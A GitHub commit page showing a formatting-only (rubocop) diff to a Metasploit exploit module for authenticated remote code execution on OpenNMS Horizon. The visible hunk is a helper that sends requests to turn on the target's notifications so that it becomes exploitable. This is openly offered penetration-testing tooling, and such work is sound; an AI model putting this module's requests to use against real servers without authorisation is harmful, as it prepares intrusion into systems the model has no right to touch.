Skip to content

Commit

Permalink
rubocop
Browse files Browse the repository at this point in the history
  • Loading branch information
jheysel-r7 committed Mar 20, 2024
1 parent 149dc15 commit 6cd7f44
Showing 1 changed file with 13 additions and 13 deletions.
26 changes: 13 additions & 13 deletions modules/exploits/linux/http/opennms_horizon_authenticated_rce.rb
Original file line number Diff line number Diff line change
Expand Up @@ -839,25 +839,25 @@ def execute_command(cmd, _opts = {})
# https://docs.opennms.com/horizon/30/operation/notifications/getting-started.html
def ensure_notifications_enabled
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.jsp'),
'keep_cookies' => true
})
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.jsp'),
'keep_cookies' => true
})
fail_with(Failure::UnexpectedReply, 'Failed to determine if notifications were enabled') unless res

if res.get_html_document.xpath('//i[contains(@title, \'Notices: On\')]').empty?
vprint_status("Notifications are not enabled, meaning the target is not exploitable as is. Enabling notifications now...")
vprint_status('Notifications are not enabled, meaning the target is not exploitable as is. Enabling notifications now...')
res2 = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'updateNotificationStatus'),
'keep_cookies' => true,
'vars_post' => {
'status' => 'on'
}
})
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'updateNotificationStatus'),
'keep_cookies' => true,
'vars_post' => {
'status' => 'on'
}
})
fail_with(Failure::UnexpectedReply, 'Failed to enable notifications') unless res2 && res2.redirect? && res2.redirection.to_s.end_with?('/index.jsp')
end
vprint_good("Notifications are enabled")
vprint_good('Notifications are enabled')
end

def exploit
Expand Down

0 comments on commit 6cd7f44

Please sign in to comment.